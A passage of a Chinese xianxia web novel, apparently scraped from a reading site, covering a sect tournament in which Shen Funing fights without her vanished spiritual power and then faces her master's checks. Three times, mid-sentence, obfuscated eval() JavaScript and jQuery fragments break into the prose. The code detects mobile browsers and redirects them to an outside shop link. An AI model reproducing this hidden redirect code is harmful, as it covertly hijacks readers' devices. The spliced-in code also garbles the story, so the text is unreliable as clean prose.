没有丝毫迟疑,两人同时出手,秦卓伊凝心静神调动灵力汇入右手,以攻作守,刀剑相撞的声音不绝入耳,沈复宁将匕首甩了出去,精确的插在了距两人最近的人身上。 两人反抗让这些人的动作停了一瞬,不知为何,他们触碰到沈复宁眼神的时候惶恐不安的感觉从骨头中渗出,明明是他们占据上风。但他们只迟疑了一瞬,好胜心便压过了霎那的恐惧。 只有秦卓伊在心中默默给他们点了蜡,毕竟刚刚她师姐说的话,只有她一人听见了,“你那乾坤袋里面放的是什么武器?” 仙门大比中除了本身入的道就是法器一类,否则不允许带任何法器,但刀枪剑戟这类武器可以随意带。毕竟,有时候手中武器多了反而会成为累赘。谁都没有想到会出现沈复宁这个漏洞来。 秦卓伊看着她师小声说,“师姐你需要什么,我都有。” 听了这话,沈复宁的眼神立马亮了,“待会儿,配合好了。” “好……好。”秦卓伊吞了吞口水,但其实她现在最想说出口的是,“为什么不用灵力,将他们一招打飞。”但迫于沈复宁平日在他们心中的形象太过伟岸,硬将这话随着口水咽了下去。 沈复宁看了眼她欲言又止的神情,明白她想说什么,只感谢她没有说出口,不然,她还不知道该如何回答。 那群人中间有人低喝了一声,数十道剑气,刀势,甚至还有符纷纷朝她们涌来,封死了两人所有闪避的角落,沈复宁拉住了秦卓伊的手腕,将两人位置调换,秦卓伊的身体的身体在沈复宁头顶上划出一个弧度,右手长剑一扫,荡出一块空地。 同时,左手从乾坤袋中拿出了柄扇子,给沈复宁扔了过去,沈复宁接过扇子的瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈复宁余光扫见左前方,一座高岩台,台下是岩浆湖,只有一条窄石脊连通。她凑到秦卓伊耳边低语几句。她眼睛一亮,随即露出担忧,沈复宁却已冲了出去。 她边打边退,脚步虚浮,二十几人纷纷追上来,“她不行了!追!” 人群涌上石脊。 沈复宁站在岩台尽头,转身微笑。秦卓伊绕到石脊中段下方,握紧铁锤。 最前面的人冲到中段,沈复宁猛掷匕首,横拍第一个人,后退撞倒身后一片,狭窄石脊上顿时挤成一团。 “就是现在。”秦卓伊灌注灵力,铁锤狠狠砸在石脊最薄弱处。 石脊断裂。碎石与人一起坠向岩浆湖。有人勉强腾空,却被沈复宁掷出的玉京剑凌空打下,更多人掉进岩浆,护盾碎裂,红雾被热气冲散,一个接一个弹射出去。 红雾在岩浆湖上空炸开,像一串烟花。 沈复宁站在断裂的岩台边缘,收回玉京剑,转身。秦卓伊目瞪口呆,“师姐,你……把二十多个人全淘汰了?” 沈复宁轻轻点头。心里想的却是,这就是报应啊,若是当初她给他们留了反抗的余地,如今,也就不会找不到他们的特点,没办法一击毙命。 她这样想着,又轻轻的扭动了手腕,额头瞬间沁出了汗,疼,太疼了,灵力消散果然很麻烦。 她朝四周看去,太初宗仍有同门被缠着,强忍着想松手的念头,将匕首复归原位,又将玉京剑插回剑鞘,然后对秦卓伊说:“去帮其他人。” 5. 第 5 章 与此同时,正坐在仙盟为想要凑热闹的仙友们准备的观战席上整整安静了一息,然后炸开了锅。 “这是得多看不起他们啊,竟然全程不用灵力。” “我一直在看,从头到尾,一丝灵力都没有用,全靠的是武功!” “最后一下她把二十多个人全逼进岩浆中,你们看到了吗?” “太初宗这是捡到了个什么怪物?” “不是捡到的,人家本来就是上一任掌门关门弟子沈颂霁的亲女儿。” “天才的孩子,也必定是天才啊。” “不止……这将来得是天下第一吧。” “但有点太嚣张,自大了吧,一点灵力不用,就不怕翻车吗?” 各门派的长老互相对视,眼神中藏着说不清道不明的东西,羡慕,忌惮,惋惜,警惕什么都有。只有太初宗关缈皱起了眉头,她最了解沈复宁的性子了,在这种场合下,一击毙命这种既不会让她受到大的伤害,又能最大限度展示她的厉害之处才是她的首选。 就算是为了玩,也一定会在第一次环境变换之前,就让这一轮结束,主张老娘就是天下第一的沈复宁是不可能将如此狼狈的一面展露出来的。 她抬眸,看向悬在空中的观视镜,看着现在满头大汗的沈复宁,皱起眉。 沈复宁丝毫不知外面观众的所想,但关缈不愧为她的二师父,真是了解沈复宁,但与她心中所想不同的是,如今的局面,已经是她尽量保证自己光鲜亮丽的状况了。 “疼。”随着这个念头的加深,她的步伐也越来越快,长剑出鞘,将秦卓伊甩在了身后。 她脑子有些混沌,见人就斩,出招速度越来越快,凭着身体本能躲避着其余人的攻击。若是碰到了集体攻击,就将回到手中的扇子扔出去,纵身一跃,朝着最近的几人横斩过去。 太初宗其余人看着自己师姐的状态,隐隐有些担心,却没人敢近身,生怕一个不小心,进入暴走状态的师姐,就将他们斩于剑下,或是劈于扇下。 只能守在她的周围,看着那些,不知不觉中达成了合作的其余人,帮师姐减轻些压力。 环境从火山变成冰原,从冰原变成雷暴,又变沼泽。 她的动作越来越机械,速度愈来愈快,只剩下一个念头在支撑着她,“结束就好了。” 终于,空间传来一阵长鸣,本组结束,一百人已满。 瞬间,百人便被传了出来,光线猛地亮了起来。与那些先被淘汰直接送到治疗地方的人不一样,他们在的地方是仙门大比的广场。 观视镜高悬,其余六面皆降了下来,只余下了这一面,在那百人出现的那刻,同时落了下来。 “出来了!出来了!太初宗的沈复宁出来了!” 沈复宁单膝跪在传送阵上,浑身上下没有一处是干净的,衣袍被烧出十几个洞,左肋的皮肤红黑交错,头发半焦半散,血迹和烧伤混在一起,看起来触目惊心。 玉京剑撑在地上,她微微抬起头,散乱的头发遮住了半边脸,露出的眼睛平静无波,大比中的伤在现实中最多只有一半的效力,再加上这个阵大概是被人加上了治疗的效用。 她现在已经不觉得疼了,她缓缓地站起来,看了眼周围密密麻麻的人群,嘴角缓缓向上弯了弯,周围再一次炸开了锅。 可惜,沈复宁一句都没有听清,她随意的收回了剑,将扇子还给了秦卓伊,刻意避开了相熟人或担忧,或紧张的目光,朝台上望去,“接下来有什么流程。” 她着一句话终于将失神的长老们喊了过来,刚刚那个老者再次站了出来,说着什么恭喜他们的话语。 只可惜沈复宁现在一心在思考接下来应该怎么跟有的人解释这件事情,一句都没听进去,甚至楚予什么时候走近她的都不知道。 “在想什么?”楚予凑近她说。 沈复宁抬眸朝她看了过去,余光却看见了几人不知是有意无意离她俩近了一点,距离刚好,使用一些法术能听见她俩的谈话。 沈复宁淡淡一瞥,收回视线,“没什么,就是觉得有些无聊。” 楚予的目光流转在沈复宁残破的衣裳上,原本触目惊心的伤口早已消失不见,只留下了有些刺眼的红黑痕迹。沈复宁却像是什么都没受到一样,该啥样啥样,双手怀抱,斜靠在了楚予身上。 “你在大比的时……” “小鱼儿,你说他怎么这么能说。”沈复宁看着高台的方向,没什么语气的开口。 楚予也看了过去,听到那老者已经说到了三日后,第二轮开启。才开口,“结束了。” 就像是在印证楚予的话一样,这句话她刚说完,那老者就让他们散了,“今日你们都有些累了,回去吧。” 沈复宁立刻就要走,却被楚予拦了下来,“师父说要你去见她。” 她低头看了眼楚予手中的传音符,抬头朝高台望了过去,关缈正在上面望着她,只是距离有些远,沈复宁不知是否与她对视上了。只是,后背发凉的感觉又来了,她还没想好该怎么编。 她闭上了眼,突然哎呦了一声,身体软绵绵的就要倒下去,楚予立刻扶住了她,“怎么了?”哪怕明知她大概率是装的,但嗓音中依旧是不可忽视的着急。 “我太累了。”沈复宁放轻声音说,又看了眼自己光着的脚,“而且,我鞋都没了,没法走。”她故作可怜地看着楚予,“所以你帮我去给二师父求求情,明日再去好不好?” “你……” 眼看着楚予就要松口了,一双鞋就递到了她的眼前,她皱了皱眉,抬眼看去。一名女子用指尖捏着那双鞋,蹙着眉看起来有些冷淡,眼神忽闪忽躲,一副不屑的样子,“本小姐受不了你这副恶心样子,看着就反胃,给你。” 沈复宁看着她,恍惚了一瞬,陌生又熟悉的感觉在心头浮现,一时间连反驳都忘了说。 花雾姒见她没有动作,眉头皱的更甚了些,只是还没开口,又有人走了过来,“你快接了吧,让这大小姐主动跟谁说话可不容易。” 沈复宁朝那人看了过去,挑了挑眉头,姜柳依。 姜柳依说了便将那鞋接了过来,放在了她的手上,“今晚有空吗?” “啊?”话题转移的有些快,姜柳依笑了笑,看了眼四周,凑近她耳旁轻声说:“我觉得我需要请你们吃个饭。” 沈复宁没理她,接过鞋,扶着楚予穿了上去,又转了转脚腕,还挺合脚,这才放开楚予,看着姜柳依,又朝着她口中的“们”看了看,最后盯着那个身上沾染了血污的人多看了一会儿,皱起了眉。 那人在沈复宁看向他之时,拢了拢身上的外袍,看着她,就像在问,“怎么了?” 沈复宁摇了摇头,回过神的时候,就只能看见其余几人略带玩味的表情,除了楚予。 “什么时候?”楚予开口问。 沈复宁跟着附和了一声,又朝高台上看了眼,果然,关缈已经走了下来在等着她,在心中叹了口气,“我看看我能不能去。”说完,又补充道,“我不去应该也行,就让我师姐代我也行。” “不行。”花雾姒和姜柳依同时出声。 沈复宁眼珠子转了转,又将胳膊搭在了楚予身上,楚予看了她一眼,沈复宁朝她笑了笑,倒也没动,“那也行吧。”然后环视了下“们”中的其余三人,“就我们七个?” “姐姐,你也得心疼心疼妹妹啊,就你们七个我都要破费了。”姜柳依摸着自己的心,一脸肉疼的样子。 沈复宁啧了声,看了眼又一张飞向她的符,叹了口气,接了过来,“那你们留个人在这等着我吧。”说完,便头也不回的朝关缈跑了过去。 只是刚跑没两步,那个站在一旁与她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845617|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一样身上血迹斑驳的人就伸手挡住了她。 沈复宁停下了脚步,看着他有些阴沉的脸,笑了出来,“少侠,在担心什么?” 其余的人也不知怎么了,眼神总往他俩这儿瞟,沈复宁就恍若不知一样,盯着他。 “俞时逢。”他说。沈复宁愣了一瞬,下一刻明白了他的话,脸上的笑意更盛,点着头,“嗯,俞时逢,拦着我做什么?” “衣裳。”他将胳膊上的外袍递给她,又怕沈复宁不肯收一般,补充道,“血迹,看起来不大好。” 沈复宁依旧看着他,不在意的说:“没事,在场的谁的衣裳是完整的。”说罢,场上陷入了一丝尴尬的寂静,沈复宁在她们身上晃了两眼。 好吧,除了自己和面前这个拿外袍的人,她们所有人都干干净净的。沈复宁心中的不平衡再次浮现了上来,脸上的笑意也散了些,多了些不忿。瞪了俞时逢一眼,随手将那外袍接过来,披在自己身上,便匆匆跑了上去。 她的身后立刻爆发了一阵笑声,渐渐笑声没了,莫名其妙的别扭情绪在几人之间敞开。 沈复宁边跑边盯着自己沾满灰尘和血迹的衣裳,耷拉下来嘴角,她不喜欢这样狼狈的自己。 “好了好了。”姜柳依出声,“我们去九霄殇。” 所有人都有些意外,尤其是花雾姒,就差指着她的鼻子说:“你竟然这么大方了。” 药王谷的抠门是出了名的,要是那天让他们出了血,就需要做好千倍万倍偿还的准备。 一直双手环胸站在那里,看着他们这出闹剧的尤璟开了口,“算了,还是我请吧。” “真的吗?”姜柳依眼含期待,“那真是谢谢你……” “不同意。”花雾姒帮她拒绝了,掐着姜柳依,“你要不请,我回去就告诉姨父那个炼药炉是你弄碎的。” 姜柳依不可置信的看着她,手指着她,结结巴巴的想到该怎样反驳。 楚予及时制止了俩人的争斗,点了点头,“知道了,你们去吧,我跟阿宁一块去。”说完,没等她们反应过来,便跟上了沈复宁的脚步,“我得跟上去看看。” 关缈看了眼跑过来的楚予,又看了眼站在一旁装鹌鹑的沈复宁,揉了揉额角,“你们先去住处换身衣裳。”我在我的院子里等你。她看着沈复宁,那你字的重音不能在明显了。 沈复宁心不在焉的应了一声,跟在楚予的身旁往住处走。 换了衣裳,打开门便看见楚予在等她,她不相信楚予没听出来关缈的意思,但她也没问楚予跟着她一同去挨骂的意图,她掺上楚予的胳膊,离她近了些。 楚予看了她一眼,张开嘴想要问她什么,沈复宁却像是早已料到,先开了口,“师姐,你等二师父查过了我再说好吗?” 楚予点了点头,便歇下了询问她的想法,她也清楚,若是沈复宁不想让人知道,怎么也撬不开嘴的。 但她却不知沈复宁现在想的是,若是关缈查出了她灵力的事情,那她就有了理由,以后也没必要在藏着掖着,但若是没查出来,就只能是那位的有意为之,她说了出来,也只是给其他人徒增烦恼,倒不如不说。 或许是今日见到的老友有些多,沈复宁竟有了一丝动摇,想着若是直接告诉他们也不为过,但仅仅只是一瞬,便被她掐死在了摇篮里。 重来了这么多次,她倒也想明白了自己当初偷溜下山见到的那四时颠倒无序,天地灵气枯竭,究竟是谁做出来的了。 也难怪上一次她参加了仙门大比,同其余人一同下山历练之时,每每说到有关四时变化之时,他们总是顾左右而言它。 他们不可能不知世间变化,只是顺应天道而已,反倒是自己的所作所为,倒是应了师父的那句“无法无天。” 她看着楚予,“算了,还是像上一次一样,瞒不住了再透露吧。” 6. 第 6 章 其实两间房的距离隔得并不远,却因为沈复宁的故意磨蹭,多费了些时间才走到那里。大门敞开,沈复宁迟疑的将脚迈进去,关缈看的却不是她,而是身后的楚予。 楚予看着她喊了声,“师父。” 沈复宁的眼神在两人之间转了转,最后受不了了,“全宗门谁不想来看看……” “你闭嘴。”关缈训斥了她。 沈复宁却也真的不再说话了,只是那神态,怎么看都不像是服气的样子。 原本想着楚予跟着来,应该能帮她消解一些关缈的怒气,但现在看来,她将楚予当成自己的帮凶了。 平日楚予怎么瞒着她们这些师父们做些什么的时候,关缈一般不会管,但这次与她的身体有关,是怎么都不会让她们胡来了。 “好了。”一个穿着翠绿色麻衣的人从屋内走了出来,叶桑宁认得她,是药王谷的三长老,李焕梁。 “完了,这下彻底完了。”沈复宁朝她笑了笑,然后下意识的站直了身体,偷偷朝关缈瞥了两眼,被逮了个正着。 关缈的脸色看起来不太好,已经确认了沈复宁肯定是有事瞒着自己,又看了眼正瞅着沈复宁出神的亲徒弟,也不知她究竟在里面出了几分力。 这可真是冤枉楚予了,她跟着来本是为了出力的,但沈复宁没有开口,更没有跟她通气,又看见了李焕梁。也知道自己这力还没出,就有一口大锅扣在了自己的背上。 沈复宁被关缈瞪了一眼就收了眼神,同情的看了眼楚予一眼,早知道就不让她来了。 这一来,事情更麻烦了。 “唉。”她叹了口气,抬头看向天花板,“当初不如给我一死。”她想。 关缈用力给了她胳膊一巴掌,沈复宁一脸“你打我做什么?”看她。 “叹什么气,又在想怎么糊弄我呢!” “没有,怎么会。”沈复宁讪笑道。我倒是想糊弄,也得看人家给不给机会啊。 她这样想着,就冲着不知道在准备什么的李焕梁讨好的笑了笑。 李焕梁看着她这充满目的的目光,也勾了勾嘴角,只是说出的话却领沈复宁心寒。 “长得好看也没用,我是收了费的。” 沈复宁的嘴角立刻耷拉了下来,感情你们药王谷爱财是一脉相承啊,怎么,每年大量丹药和治疗的灵石不够你们挣嘛! 李焕梁却像是听到了她的心声一般,“确实不够,研发新丹药尤其是高阶花费的灵石以亿计数呢。” “行……”沈复宁服气的点了点头。 关缈一直在盯着她,搞得沈复宁不敢朝那边看一眼,只能看着李焕梁不知道从哪里拿出一个巴掌大的圆盘。 李焕梁将那东西放在自己面前的时候,沈复宁心凉了半截,还有剩下的半截在思考应该怎么跟关缈编自己灵力消失的事情。 沈复宁神色复杂的看着那灵度盘,在关缈的催促下不情不愿的伸出了手,按在了上面。 盘中心的光点微微升了点,与一旁三人紧皱眉头不可置信的状态不一样,沈复宁倒是很坦然。 关缈从灵度盘上移眼,朝沈复宁看去,询问的话还没组织好,就听见楚予问李焕梁:“灵力没问题,还需要查什么吗?” 关缈拍了沈复宁一下,数落她两句:“好好配合,别作怪。” 沈复宁看着灵度盘中升起来的数值,有些诧异,抬眼朝没及时回答李焕梁看去:“李长老,我还需要做些什么?” 李焕梁朝沈复宁笑了笑,拉着她去一旁坐下去,搭上她的脉,指尖涌出光亮,过了会儿,开口:“身体没什么大问题,就是今日的大比耗费了太多心神,多休息休息就好了。” 沈复宁眼中掠过一丝轻松的笑意,坦然地朝关缈扬了扬下巴,“看吧,真的什么事都没有。” 关缈白了她一眼,“怎么?要是今日真被我查出了点什么,你还会是这个样子。” “您想查出什么?”沈复宁有些无奈,“事实就在这里,人李长老都说我没事了,您就不要纠结了。” 关缈看了她一会儿,最后还是什么都没说,但今日看楚予的神情,也知道自己冤枉了她,转头想去看楚予。 却发现对方站在外面,刚抬脚要进来。 “李长老说她有事要先回去,我就去送了送。”楚予看着平息了战火的两人说,“没事的话,我们就先离开?”她看着不知道在想些什么的沈复宁。 沈复宁没动,她走上去拉起了她的胳膊。 沈复宁顺着楚予的动作站了起来,朝关缈点了下头,任由楚予带着她走,在心中暗暗思索,那灵力的问题,她确信灵度盘感受到的灵力是她的,却不是她体内的。 她抬起手腕,再次试着调动灵力,依旧无果,可她也确实在这里感受到了属于她的灵力,她带着楚予一同停下了脚步。 “小鱼儿,我有些事情,就不去吃饭了。”她能确信楚予一定不会问她要去做什么,才会直接这样说的。 “要去做什么?” “啊。”沈复宁不可置信的看着楚予,张开的嘴一时都没闭上,“不是,怎么不按套路来。”她想。 楚予一笑,抬手将她紧锁的眉头抚平,柔声说:“要真不想说也不用说,不用想着怎么骗我。” “呵呵,怎么会呢。”沈复宁尬笑了两声,将自己刚想好的说辞咽了下去。 楚予盯着沈复宁看了会儿,最后叹了口气,伸手拨了拨她额前的碎发,“有什么事传音符唤我。” 说罢,看着沈复宁应了下去,才先她一步离开。 沈复宁看着楚予,对楚予的敏锐感到一丝害怕,摩挲了两下自己的胳膊,才继续想刚才之事。 从回来灵力消散到现在,她的灵力也只有刚到云墟之后的那细微波动的一次,还有就是刚刚灵度盘检测到的。 她伸出手,再次尝试调动体内的灵力,依旧无果。 沈复宁皱起眉头,再次运功,却仍然没有收获,难不成是灵度盘出现了问题。 也不应该啊,刚来云墟的时候的确感受到了灵力波动,自己是绝对不可能感知错误的。 “烦死了。”沈复宁冲着一旁的不知名草喊了一声,又不耐烦的朝它拍着叶子头顶的翠绿,“灵力没了好歹境界你也给我弄低啊,好歹能有个理由,现在好了,表面上实力依旧没变,动起手来又处处是漏洞。” 再想到接下来的两轮比试,沈复宁又喊了一声,“啊,烦死了。”她搓了搓自己的头,努力让自己平静下来。 “灵力波动是在刚进入云墟之时感知到的。”沈复宁灵光一闪,立马就转变方向,朝入口过去。 走到浮云门的牌匾下,右手抬起,调动灵力,心中一喜,没错,就是在这里,可……灵力会散到那里,竟然没有被其他事物吸收。 沈复宁心中有所疑虑,手上动作没停,在四周随意走动,最后在离地面最近的地方停下,这里是整个云墟的最低处,也是灵力波动最明显处。 她朝下面看去,深不见底,但这仙门大比倒是给她行了方便,若是没记错的话,这次仙门大比第三轮便是要下去了。 想到这儿,沈复宁倒也是不急得下去了,不如慢慢来,到那时候她也只需要找个机会,让灵力重回自己身上就是了。 沈复宁松了一口气,虽然还没想明白为什么这里会有自己的灵力存在,但……那灵度盘上感知到的大概就是这里的灵力,有着灵力便能让自己恢复应有的实力。 剩下的一切就再顺利不过了,有之前的记忆,境界的提升也就再容易不过了。 沈复宁不能再继续往下想了,免得自己笑出声来,虽然参加仙门大比是不得已的事情,但至少到现在也没发生什么坏事。 她抬头朝上空看去,云墟上看不见月亮,只有层层厚重的云彩,却不妨碍沈复宁盯着那里,她已经不在乎那令人厌恶的窥探感了。 想来那东西也没想到她还能再来一次,她也没能想到灵力竟然是散落而不是被吸收。 “在笑什么?” 突如其来的一句话给沈复宁整蒙了,“谁啊。”她朝声音来源处看去,有些诧异,“俞时逢?你不是同他们去吃饭了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845618|211731||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 俞时逢朝沈复宁走去,越过她朝云墟下方望去,再抬头看向她,就这么站在边界与她之间,漆黑的眼神就这么盯着她。 沈复宁被他莫名的眼神看的有些别捏,提高了声音,“你还没说你怎么在这儿?” “药王谷的少谷主身上带的灵石不够,最后在九霄殇旁边的和面馆请了碗汤面。” 沈复宁笑了,和面馆这个面馆不比那九霄殇逊色,只不过九霄殇走的是奢华路线,和面馆靠的是味美价廉,这两个可以称之为极端,却又并成为云墟必去之地。 但确实是姜柳依的做派,想当初她也是第一个嚷嚷着请客的人,最后拉着这么一群人去了九霄殇却掏不出来灵石,最后还是尤璟付的。 今日想来是花雾姒不同意,硬是要姜柳依请客,弄得她没办法了,才请人一人吃了碗汤面,想来这个时候心还在滴血。 “想到了什么?”俞时逢看着她要笑不笑的样子,又问了一句。 “没什么,只是想到了好玩的事情。”沈复宁神色不明的看了俞时逢一眼,往一旁的栖云亭走去。 俞时逢跟在她身后,一同走了过去,看着沈复宁坐在亭中,一手支着头,对她说:“我师父说这云墟的最低处可以看见青屏山,我想看看他是不是在骗我。” 沈复宁想到刚刚自己看到的景象,眉眼一弯,“骗你了吗?” “骗了。”俞时逢坐在她对面,“这云墟太高了。” 沈复宁点了点头,却对另一件事情更感兴趣,“俞时逢,你一个无门无派的人为什么来参加仙门大比。” 俞时逢像是不明白她为什么会问出这个问题,停顿了下才回答,“仙门大比是扬名的捷径。” 沈复宁挑了挑眉头,“是吗?你不像这种人。” 俞时逢看着她,过了会儿,垂下了眼眸,索性说了实话,“是想见你一面。” 他说完这句话就抬起眼皮,朝沈复宁看去。 沈复宁在他的眼神下,抬起手指着自己,“见我。”她不明白,“为什么?” “大概是因为每当我觉得自己的剑术已经登峰造极的时候,我师父总会提及你,来灭我的嚣张气焰。” 沈复宁看着他那认真的样子,便也知道他没在说笑,随意地说:“是吗?那你师父对我倒是挺关注的。” 俞时逢半垂眼眸,对此不置可否。 沈复宁歪着头,不经意地问:“你师父是……” 俞时逢轻声回答:“一个无名小卒而已。” “不信。”沈复宁不假思索道。 她师父曾提过,青屏山有个隐世高手,活了百年,与太初宗的建立者关系匪浅。 她不动声色的打量着俞时逢,想来那个人便是他的师父。 “一个……神棍。”俞时逢见沈复宁不相信,便换了个词。 沈复宁勾唇,没说信不信,重复他的话,点着头,“神棍?” 又突然起了兴趣,“那他能算的准吗。” “他说他只算错过一次。” 沈复宁盯了他一会儿,突然站起来,“算了。”原本想直接走,却不知为何想到了第一轮结束后俞时逢身上的血迹,嘴欠添了句,“回去了,这几日你也好好休息吧,第二轮大概不是好过的。” “不用担心。” “谁担心你了。”沈复宁觉得有些莫名其妙,瞥了他一眼,头也不回的走了。 沈复宁回去之后仔细想着这些日子的细节,除了灵力的问题,最大的出处就是之前从未有过消息的父母了。 “父母?”沈复宁想了想,虽然太初宗上下没人说过这个,却有人提过师父的小师妹。 说的不多,还是她闲来无事去凑热闹时听的,这个人很久之前便离开太初宗,下山游历去了。 “会是你吗?”沈复宁看着手腕上多出的那根手链问道,不熟练地呢喃,“阿……阿娘。” 上面的宝石隐约闪了一下,只一下。 沈复宁再看时,好似什么都没发生一样。 她抬起手腕,放在眼前认真端详。 7. 第 7 章 一只手将她的手拿起来,没等沈复宁说什么,就将一根长条状的细条扣在她的手腕上。 “渡妄荆。”沈复宁看着那长条,在心中重复出来它的名字。 第二轮不可或缺的东西,大比未开始前,表面光滑无比,倘若开始,哪怕未进幻境,仅仅是被环境吸引,它也能感知到,从而长出刺,越沉溺其中,刺便越长,直到它确认你挣脱不来,便会用尽里面储存的所有灵力,将人刺醒。 也就代表着这个人淘汰了,进入到下一轮的方式也很简单,靠自身打破这个由你内心最深处渴望事情量身制作的幻境,要不就是呆在最后,但若是内心没有动摇,出去的门就会出现在眼前,打开走出去就行了。 只是最后一条,几乎没人能够做到,所以判定的标准一般都是前两条,最后根据渡妄荆所剩灵力取前七十,当然,前提是会有这么多人能呆在最后。 沈复宁想到之前这一轮留下的人数,情不自禁笑了出来,三十七个人,真是好大一个数字啊。 她看向正在给自己带渡妄荆的人,再次感叹,上一次就连楚予手腕上都多了伤口。 说实话,沈复宁有点羡慕,那时候的她就是几乎的原因,门内幻境于她没有任何作用,就只是一个简单的花园,她花费了不到一刻钟上上下下探索了一番,最后一脚踢开了门,走了出去。 那时候真的不知天高地厚,认为世界上所有的一切都唾手可得,也就没有什么渴求,现在想来,真是狂妄。 “别愣着了,长老说的你是不是一个字都没听进去。”楚予有气无力的说着。 沈复宁看着手腕上多出来的东西,反驳道:“谁说没听了,不就是幻境吗?简单。”说着,抖了下肩,远离了姜柳依刚搭在上面的胳膊。 “不要这么生疏嘛。”姜柳依熟稔的说,又理直气壮地质问,“那晚你为什么不去。” 沈复宁睨了她一眼,没什么语气地说:“还是不让你破费了。” “怎么会?” “呵,她可破费不了。”鄙夷的声音响起。 沈复宁不用去看都知道开口的是谁。花雾姒嫌弃地拍下了姜柳依朝她挥的手,看了眼一旁安静站着的白净面庞,怒其不争的说:“那晚的钱最后是人家姬齐结付的。” “你咋胡说呢。”姜柳依不服,“你是不是看着那灵石是从我包里面掏出来的……” 沈复宁没听俩人的斗嘴,反倒是走到了姬齐结身旁,看着他微微发红的脸,笑了出来,不仅在心中想,“真的是一点改变都没有,还是这么腼腆。” “是出什么事了吗?”尤璟不知什么时候来到了沈复宁的身边,带着点客套的关心。 沈复宁眼神扫过站在一旁一言不发的俞时逢,笑了笑,“没什么事情,那天晚上查过灵力之后有些累,就没去了。” 各知道一部分真相的俞时逢和楚予齐齐朝她望去,却也都没开口拆穿。 “行了,你俩。”沈复宁不耐烦的朝还在吵的两人喊道,“开始了。”说完便望向台上。 几人同时顺着看过去,果然,又一道门凭空出现在了大庭广众之下,充满了幻想,莫名的吸引着全部人的目光,情不自禁的令人想要靠近。 场中的人不知被人使了什么法术,早早转移了场地。 沈复宁看着不知所踪的观众和长老,又看了眼正在往里走的人,一个又一个,脚步越来越快,不知是看到了什么,争先恐后的往里面冲。 她看着那些人手腕上流淌的血液,将目光钉在那长出刺的枝条上,与之前一模一样的场景。 突然,最前方挤成一团的人大叫一声,醒了过来,又在瞬间消失不见。 沈复宁朝那边看去轻呵一声,果然一模一样,只是不知她的眼睛看到了什么,愣了一下。 她低头看向俞时逢那长出短刺的渡妄荆,有些惊讶,她记得当初他是第二个出来的,与她一样丝毫未有沉溺进去的迹象,可现在…… 俞时逢看了眼自己的手腕,往后藏了藏,沈复宁朝他看去,俞时逢朝她笑了下,往门内走去。 沈复宁看着他的背影,不由得想象,令他沉溺的会是什么? 沈复宁想不到,低头看了看自己的手腕,依旧毫无动静的渡妄荆,没什么表情。 见人进去的差不多了,才抬脚往那边走,走到门前的时候不禁感叹,“到底是谁规定的无论渡妄荆是否有反应都必须进去的。” “我发现你最近特别爱发呆。” 沈复宁头都没回,回怼道:“师姐最近也总是在关注我。”说完,走了进去。 与想象中里面毫无变化的情景不同,这里面的竟然是太初宗,只不过不是现在,应该是七八年前的时候。 余顷霁,关缈,还有楚予,三人不知道在聊什么。 余顷霁脸上的笑连那层雾都没能遮住,关缈的脸色就不太好了,楚予一脸无奈,左看看,右瞟瞟,劝解的话是说也不是,不说也不是。 沈复宁一脸怀念的看着这些,走近了才发现她们谈论的是自己。 “你还有脸笑,太初宗的一代天骄就要折在你手上了。” “师父,不要瞎说。” “我怎么瞎说了。”关缈不乐意了,“你说说你师妹这些年有好好修炼过吗?” “还是有的,前些日子刚得了一本有关紫微的书,看的不舍昼夜……” 话音未落,关缈一拍桌子站了起来,就差指着余顷霁的鼻子骂了,“那书是不是你给的……” 余顷霁笑眯眯的看着她,气定神闲的拿起茶杯喝了一口,才劝道:“小猫,不要生气,阿宁有自己的路要走,随她便吧。” 她这话一出,沈复宁就知道要完,太初宗谁人不知,关缈长老最讨厌的就是别人喊她诨名,还有就是一心二用,对什么事情都草草应付。 虽然没有证据,沈复宁却从和关缈交往的点点滴滴中认为,这第二条大概只是针对她的,而她师父这一段话,将这两个雷点踩了个遍。 果然,她朝关缈看过去,拳头已经握起来了。 沈复宁叹了口气,朝那边挥了挥手,三人齐齐朝她看去。 关缈瞥了她一眼,虽然什么都没说,却坐了下去。 沈复宁笑了笑,走到那边坐了下去,只是抬眼,周遭环境再次变化。 她低头看向自己的手腕,干净无比,上面什么都没有。 “发什么呆?” “嗯?”沈复宁朝说话的尤璟看过去,“昨天没睡好。” “能睡好就怪了。”花雾姒张口就是讥讽姜柳依,“吃了她做的药,谁能睡好。” “你怎么说话的。”姜柳依不服,朝花雾姒伸出手“你将我给你的美白丸吐出来。” “呸呸呸,还你,都还你。” “花雾姒你恶不恶心啊。”姜柳依重重的将手在花雾姒的衣裳上摩擦。 “你……” “行了,你俩半斤八两,都够恶心的。”楚予嫌弃的看着她们。 姬齐结不动声色的往尤璟的方向靠了靠,以请求远她俩。 沈复宁看着自己面前多出来的水,顺着放下杯子的手看向他的主人。 俞时逢看着她,无声开口,“喝一点。” 